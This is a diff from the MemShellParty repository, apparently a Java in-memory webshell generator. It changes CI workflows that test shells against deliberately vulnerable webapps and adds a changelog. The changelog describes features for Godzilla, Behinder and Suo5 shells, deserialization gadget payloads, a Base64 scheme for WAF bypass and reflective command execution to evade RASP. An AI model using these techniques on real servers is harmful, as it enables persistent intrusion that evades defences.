|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v6
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -36,21 +36,16 @@ jobs:
|
|||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -65,7 +60,7 @@ jobs:
|
|||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v7
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -75,7 +70,7 @@ jobs:
|
|||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +79,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -114,31 +109,19 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
|
||||||
CONTEXT_PATH=/redqueen-memshell-party
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:redqueen
|
|
||||||
|
|
||||||
deploy-maven:
|
deploy-maven:
|
||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
@@ -156,7 +139,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
name: Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
|
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
name: Unit-Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- 'generator/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
@@ -61,6 +61,4 @@ integration-test/**/apusic
|
|||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
integration-test/**/primeton
|
integration-test/**/primeton
|
||||||
vul/vul-springboot3-bes
|
|
||||||
vul/vul-springboot3-tongweb
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
||||||
|
- 支持哥斯拉 WebSocket 内存马生成与测试
|
||||||
|
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
||||||
|
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
||||||
|
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
||||||
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
||||||
|
- 支持 CC3、CC4 反序列化 payload 打包方式
|
||||||
|
- 支持随机参数生成与默认选项(#50)
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 去除代码混淆相关代码
|
||||||
|
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
||||||
|
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
||||||
|
- 移除 commons-codec 降低 boot 打包体积
|
||||||
|
- 升级 shadcn/ui 所有 component 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
|
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||||
|
|
||||||
|
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持自定义内存马生成 by @ReaJason(#49)
|
||||||
|
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
||||||
|
- 支持简易的代码混淆 by @ReaJason(#13)
|
||||||
|
- 支持自动发布 DEV 分支代码 CD
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Jetty 获取 Context 代码
|
||||||
|
- 优化 Dockerfile 减小镜像体积
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
||||||
|
|
||||||
|
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||||
|
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Valve 内存马代码
|
||||||
|
- 升级 Gradle 8.13
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||||
|
|
||||||
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
||||||
|
- 支持 Tomcat Jakarta WebSocket
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复自定义注入器类名不起作用
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||||
|
|
||||||
|
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||||
|
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||||
|
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||||
|
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||||
|
|
||||||
|
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- UI 中打包配置中添加 Loading 状态
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||||
|
|
||||||
|
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 移除无用依赖,JavaSocket,Gson
|
||||||
|
- Gradle 升级至 8.12.1
|
||||||
|
- 更新 TestContainers 和 Junit 的版本
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||||
|
|
||||||
|
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||||
|
|
||||||
|
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 AntSword 内存马生成 by @ReaJason
|
||||||
|
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||||
|
- 部分 UI 调整
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复随机类名如果为保留字时会无法加载
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||||
|
|
||||||
|
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Suo5 内存马生成 by @ReaJason
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 升级 TailWind CSS v4
|
||||||
|
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 sonner 颜色主题未随着修改而变化
|
||||||
|
- 修复 IDEA 本地构建 version 一直是 unspecified
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
||||||
|
|
||||||
|
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||||
|
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||||
|
- 支持哥斯拉、冰蝎、命令执行功能
|
||||||
|
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||||
@@ -1,27 +1,19 @@
|
|||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
|
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
- common:bytebuddy 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- packer:常见漏洞 payload 生成
|
- deserialize:反序列化相关 gadget
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器
|
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
- tools/behinder:冰蝎简易连接器
|
||||||
|
- tools/godzilla:哥斯拉简易连接器
|
||||||
|
- tools/suo5:Suo5 简易连接器
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -36,15 +28,12 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
